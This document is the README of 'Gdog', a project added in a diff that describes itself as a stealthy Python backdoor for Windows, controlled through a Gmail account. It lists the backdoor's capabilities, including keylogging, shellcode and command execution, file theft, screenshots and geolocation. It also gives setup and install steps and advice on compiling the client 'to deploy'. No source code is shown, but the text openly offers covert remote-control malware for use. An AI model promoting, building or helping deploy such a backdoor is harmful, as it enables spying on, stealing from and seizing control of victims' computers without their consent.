+Gdog
+====
+A stealthy Python based Windows backdoor that uses Gmail as a command and control server
+
+This project was inspired by the gcat(https://github.com/byt3bl33d3r/gcat) from byt3bl33d3r.
+
+
+Requirements
+=====
+* Python 2.x
+* PyCrypto module
+* WMI module
+* Enum34 module
+* Netifaces module
+
+
+Features
+=====
+* Encrypted transportation messages (AES) + SHA256 hashing
+* Generate computer unique id using system information/characteristics (SHA256 hash)
+* Job IDs are random SHA256 hashes
+* Retrieve system information
+* Retrieve Geolocation information (City, Country, lat, long, etc..)
+* Retrieve running processes/system services/system users/devices (hardware)
+* Retrieve list of clients
+* Execute system command
+* Download files from client 
+* Upload files to client
+* Execute shellcode
+* Take screenshot
+* Lock client's screen 
+* Keylogger
+* Lock remote computer's screen
+* Shutdown/Restart remote computer
+* Log off current user
+* Download file from the WEB
+* Visit website
+* Show message box to user
+* Ability to change check-in time
+* Ability to add jitter to check-in time to reduce predictability 
+
+
+Setup
+=====
+For this to work you need:
+- A Gmail account (**Use a dedicated account! Do not use your personal one!**)
+- Turn on "Allow less secure apps" under the security settings of the account.
+- You may also have to enable IMAP in the account settings.
+
+
+Download/Installation
+====
+* https://sourceforge.net/projects/pywin32
+* git clone https://github.com/maldevel/gdog
+* pip install -r requirements.txt --user
+
+
+Contents
+=====
+- ```gdog.py``` a script that's used to enumerate and issue commands to available clients
+- ```client.py``` the actual backdoor to deploy
+
+You're probably going to want to compile ```client.py``` into an executable using [Pyinstaller](https://github.com/pyinstaller/pyinstaller)
+
+**Note: It's recommended you compile client.py using a 32bit Python installation**
+
+
